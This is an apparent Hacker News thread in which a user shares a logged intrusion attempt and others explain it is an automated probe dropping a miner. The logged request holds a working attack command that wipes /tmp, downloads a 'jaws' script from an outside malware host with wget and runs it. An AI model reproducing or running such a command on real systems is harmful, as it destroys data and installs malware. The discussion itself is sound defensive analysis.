Ask HN: An Attempted Hack from 112.168.59.114

[191101]

Trundling through the production logs, I found this which looks like an attempted hack from WELOVEURLHAUSBOT.zerohoes.tk. I'm not sure what the jaws file does but anything called 'jaws' is probably not benign. I highly appreciate any advice on how to strengthen security in light of this.

Started GET "/shell?cd+/tmp;rm+-rf+*;wget+http://WELOVEURLHAUSBOT.zerohoes.tk/jaws;sh+/tmp/jaws"

[Nextgrid]

It's just the Internet's "background noise", lots of compromised machines try to attack others. Any well-designed application will be immune to this.

This particular attempt isn't cutting-edge and isn't trying to exploit some obscure vulnerability. They're not even "exploiting" anything, they are literally probing for an endpoint that is designed to happily execute any shell command passed to it (because I guess someone somewhere was stupid enough to implement something like this?). This is the digital equivalent of "asking nicely".

They're trying to download a malicious shell script to the /tmp folder (that will in turn download more malware, most likely a cryptocurrency miner) and run it. Looking at the script (which is still available as of now) it does many attempts to download different variations of a malicious executable, each compiled for a different architecture. The list of architectures is quite broad (PPC and M68K even) so on that front they've done their job very thoroughly to maximize the potential yield.

[191101]

This was very helpful thank you. I found it odd that the attack was so 'blunt', for lack of a better word, and thought I may be missing something.

[forgotmypw17]

Yeah, I frequently get all kinds of requests for /config.php, /admin/, etc.

[jaclaz]

>but anything called 'jaws' is probably not benign

Not always, only for the record, JAWS is actually the name of a common program to read the screen for people visually impaired:

https://www.freedomscientific.com/products/software/jaws/

Of course this has nothing to do with your case.

[jamieweb]

The tk, gq, cf, ml and ga TLDs offer free registration, so they're widely used in scams and fraud.

In most cases you can safely block all traffic to/from them, as well as email addresses using them.

[obverse]

Do you have a route for '/shell' ?

[191101]

I don't but per the previous reply, I imagine this would've been quite bad =)) I can't really think of why someone would create an API that exposes a shell to anyone asking.

[bjourne]

The script is probably probing for already compromised machines.

[sarcasmatwork]

fail2ban